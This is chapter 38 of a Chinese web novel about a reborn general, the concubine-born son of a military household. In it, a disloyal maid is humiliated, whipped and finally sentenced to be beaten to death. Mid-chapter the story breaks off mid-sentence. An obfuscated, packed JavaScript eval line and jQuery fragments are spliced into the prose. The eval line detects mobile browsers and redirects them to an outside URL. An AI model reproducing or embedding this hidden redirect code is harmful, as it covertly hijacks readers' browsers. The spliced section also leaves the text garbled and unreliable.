38. 杖毙

作品:《重生之将门庶子

    江御瀚听着这些七嘴八舌地言语,真是要把他肺管子给气出来了。


    他愈发愈生气,看向荷香的眼神冷若冰霜,话语宛若冰渣子般,越发让人觉着不寒而栗:“你这贱婢,竟敢仗势欺人,坏了府内和睦;还敢以下犯上,公然坏了我江府的规矩。这二等大逆不道之事,不必报官,我先自理门户。来人,给我拖出去,杖毙!”


    人群之中更是冒出了几个身强力壮的婆子,同扣着荷香的两位婆子一起,夹住她的胳膊,提着她的腿,将她往门外拖去。


    荷香听到自己要死,拼命试图挣脱这些人,用她沙哑的声音求饶着:“老爷饶命,老爷饶命啊!奴婢真的冤枉,奴婢……真的……冤枉……”


    她见老爷根本不理会,便将目光看向二公子,仿佛这样便能饶了她一命:“二公子,二公子。奴婢之前也为您做牛做马,求求二公子救救奴婢吧……”


    江时晏只是眼神凉薄地看着荷香,心中自然是明白荷香打的是什么主意。


    他知道这具身体的原主一向愿意与人为善,顾虑的东西很多,自然不会轻易选择同他人交恶。


    就算这些人本来就是想肆意欺压他的,也只是默默忍受罢了。


    如今的江时晏,可不会再同以前一样,默默忍受着所有的苦难了。


    今时,他也该反击了。


    他也该让这江府内的下人知道,他江时晏,可不是个好惹的主儿。


    他任由荷香紧紧抓着他的裤脚,不断地低声求饶着。


    她此时的声音更是沙哑难听,可他仿佛是一个冷血无情的男人,压根就不想把这人放在眼里。


    她荷香以前是他身边的丫鬟,这没错。


    可惜啊,以前她在他身边,可真是心不甘情不愿。他怎么可能不知道她那点小心思呢?


    他早就明白,那个时候他无权无势,这府内但凡是个下人,压根就不待见他。就算真的待见他,不过是迫不得已罢了。


    除了锦枝,还有那个小丫鬟之外,还有哪个下人有把他当过主子?


    他可不管原主会怎么处理这桩烂事,反正他在现代可是个人不犯我,我不犯人;人若犯我,我便睚眦必报的主儿。


    既然来到了这里,他更是。


    “二公子,二公子……您救救我吧,您救救我吧……”荷香此刻也顾不上那么多了,趁那些个婆子还没及时反应过来,只能跪在江时晏的裤脚边求饶着。


    “救你啊……”这是他从进入寒微轩开始,开口说的第一句话。


    只不过,他此时双手环臂,无视了刺骨寒风肆虐着他的双腿般,身姿挺拔。


    他用审视的目光她。昔日这人得了势,更是不会正眼瞧他;如今这人失了势,就算他再不得宠,他也得是这府内的主子。


    更何况,目前的局势,还是他占上风呢!


    他从不幸灾乐祸,更不会欺压女人。在他看来,能做的出这种事儿的,也算不得什么好货色。


    但这并不代表,他是个任人欺负的软柿子。


    他能成为少将军,靠得绝不仅是赫赫战功。要知道,他虽面上看着温和,可若真是惹急了他,那可真是……


    “我江时晏算不得什么好人,也算不得什么君子。若我真是好人,我又怎会年纪轻轻,就能成为庶出将军呢?”


    “嫡子轻而易举便能得到所有人夸赞,可庶子若想出头,却比登天还难啊……”


    他漫不经心地打量着,任由荷香跪在地上瑟瑟发抖着,眼泪早已打湿了她的眼眶,嘴上不忘哀求着。


    所有人都以为,平日里他一向在府内与人为善,就连下人肆意欺压都不带反抗两声的,此时说不定会在老爷面前美言两句,这件事儿也就罢了。


    可惜啊,众人心底里的算盘珠子,怕是要落空咯。


    只见江时晏眼底里原本的平静悄然散去,取而代之的,是异样的眼神。


    一种连他们所有人都没见过的眼神。


    他平日里又是个沉默寡言的性子,想从他面部的微表情中探寻一些蛛丝马迹,又谈何容易?


    今时却难得见着他的眼底下,隐隐泛起了一丝恶劣的光亮。好似期待着荷香接下来还会使出什么样的手段。


    他确实是这么想的。


    多年被人肆意欺压,他还不了手,只能同苔藓般,隐忍地匍匐在阴湿的角落;如今有了正大光明的身份和地位,自然就要同旧人,算算总账了。


    这场游戏,才刚刚开始呢!


    他心里还真在沉思着,如何让这场“游戏”继续下去。


    如果可以的话,最好玩得越大越好。


    他江时晏,玩得起。


    荷香还是被那些个身强力壮的婆子扣着了,她此时的声音,沙哑的厉害,连句求饶的话都说不利索了,只能在他面前勉强呜咽几声。


    他听了几句,倒也显得乏了。连个眼神都懒得给她一眼。


    毕竟,不忠诚的丫鬟,他都懒得瞧上一眼。


    可不是什么样的人,都配成为他江时晏的狗的。


    至少,她不配。


    在他视线所及的之处,锦枝倒还真是同平日里一般跳脱的性子。她跟在二公子身边也有段时间了,这性子也在二公子平日里的教导下也算是收敛了些。


    再收敛的脾气,也忍不住想要幸灾乐祸啊!


    尤其是眼前这人,还是大公子身边的狗,总是仗着大公子尊贵身份,在她们这些丫鬟面前吆五喝六的,甚至还敢公然不把她家的二公子放在眼里。


    她心里早就紧咬着牙,想找荷香好好算一下她们之见的恩怨了。


    顺便,也得和其他人一同算一算。


    她当初执意选择跟在二公子身边的时候,所有人都觉得,她白瞎了她的医术,还瞎了她的狗眼,跟在这样一个不受宠的公子身边,往后日子压根儿就好不了哪去。


    就连十二也这么觉得。她知道十二没有恶意,在这偌大的府内,若没有十二相助,二公子岂能活到现在?


    可她当初看上二公子,也不过是瞧见二公子当初受了重伤,怀揣着医者仁心罢了。


    那时二公子傲骨铮铮,可能未必会需要;虽不过一厢情愿,但她心中依旧觉得值当。


    那些个下人见她执意跟在二公子身边,也不过是她无人可跟,就勉强跟在二公子身边罢了。


    可只有她自己知道,跟在二公子的身边,是她的选择。


    这不是她的施舍。


    当然,二公子也不会需要。


    那时她还怕二公子是个难伺候的主儿,可让她意外的是,二公子可真是她见过的,最好说话的主子。要是寻常的主子,稍不顺心就会训斥身边下人几句,可二公子不会。


    二公子总是言笑晏晏。笑着,就把这场过失揭过了。


    揭过了,也就罢了。二公子才不是个秋后算账的主儿。


    若是有人问她,二公子是个什么样的人。


    她只会告诉你,你瞧瞧二公子对待夫人的态度就知道了。


    二公子心里总是装着夫人,就算她意外发现了二公子的腿疾,二公子也只会用眼神示意她,不要让夫人知道。


    他总是这样,报喜不报忧。


    她还是遵守了二公子的吩咐,可最后还是让夫人知道了。


    还有就是,他们以前在寒微轩过苦日子的时候,二公子总会把屋内最厚的被子让她送到夫人的房间。


    他总会说,他是将军,早就习惯了天冷了。


    可更需要这被子的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946060|154779||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是他啊!虽然这最厚的被子在别人看来也不算很好,但这被子,真的是寒微轩内能拿的出的,最好的东西了。


    二公子心里装着所有人,唯独却没有自己。


    她真的很想二公子心里,多在乎自己一点。至少这样不会让夫人担心。


    她更怕……


    更怕二公子同往日一般,沉默寡言,不敢为自己争取一些东西。


    “二公子,您可是北辰国赫赫有名的将军啊!怎能落得如此啊!”她心中万分呐喊道。


    二公子终于开口,说第二句话了。


    只是这话,看似平淡,实则真是,凉薄如刀啊……


    他的目光轻飘飘地落在荷香脸上,仿佛这目光,如同死水般,毫无温度。


    他只瞧见这张漂亮的脸蛋早就沾满了泪痕,眼神之中的惊慌失措更是无处可藏。


    他从没有喜欢欣赏他人落魄的爱好,只不过……


    难得瞧见荷香这样,他倒还真有了那么点兴趣了。


    他知道荷香想说什么,适时打住了她的话头。似笑非笑地说道:“不就是希望我救你一条命吗?好啊。你只要……”


    “你只要,从这地方开始,趴着走出去,到寒微轩的大门口。再爬着绕完寒微轩一圈,这件事儿,就翻篇了。”


    锦枝从来没想到,她家的二公子原来恶趣味这么足。


    “可千万不能惹毛了二公子……平日里可真得要替二公子顺顺毛……”


    “不过以前自己犯错的时候,二公子可从来没用这种态度对自己过。应该不会把这种手段用在自己身上吧。”


    直至多年她才明白,她家的二公子从不会对自家人计较,这种恶趣味,也只会针对敌人。


    他只会让这敌人,求生不得,求死不能。


    当然,这些都是后话了。


    荷香顾不得自己的尊严了。扣着她的婆子们也因为二公子的话,自觉放开了她。


    她只好带着自己心中的屈辱,当着所有人的面,从这里爬出去。却听到他突然又来了句:“你们这些个婆子也机灵点,若是这姑娘偷懒半步,你们直接甩她两下鞭子。”


    说着,还不忘发出笑声。


    笑者无心,听着有意。江时愿一听到他那个庶出大哥当着这么多人的面,明里暗里地甩了他一个耳光子,更是气得差点说不出话来:“江时晏,看不出来,你可真是个蛇蝎心肠!”


    他一定到大公子说出这般话,心中更是觉得可笑至极。


    “这府内上下,没有人比大公子您,更恶毒了呢!”


    多年混迹军中,他自然不是吃素的。只听他言语如同冰渣子般,击打着大公子的心:“这府内的下人不讲规矩,我不过是随意教训了两句而已。”


    门内的人听到的,不过是荷香的哭喊声,和那些个婆子们甩着鞭子的骂声罢了。


    众人还是到了寒微轩的大门口了,大公子依旧同之前那般,身姿挺拔地站着。


    门内笑谈间,荷香亦在门外爬完了该爬的路。


    江时晏随意瞧了眼荷香,瞧见这姑娘的双手早就冻的通红,这背上还有几道鞭痕。


    啧,这些个婆子,下手可真不知轻重。


    他只听到父亲的言语:“把这贱婢拉出去,给我往死里打!别脏了这地儿!”


    即使看不到父亲的表情,他也能想象到父亲的厌恶。


    他知道荷香想说什么,只是敷衍道:“刚才那是我放过你,如今父亲不想放过你,我也没办法。”好像言而无信的人不是他一样。


    荷香还是被这些个婆子们拖着,前往了后院。


    他只瞧见,这冰天雪地下,有那么几道划痕。


    这样的人,活了这么久,也算是到头了。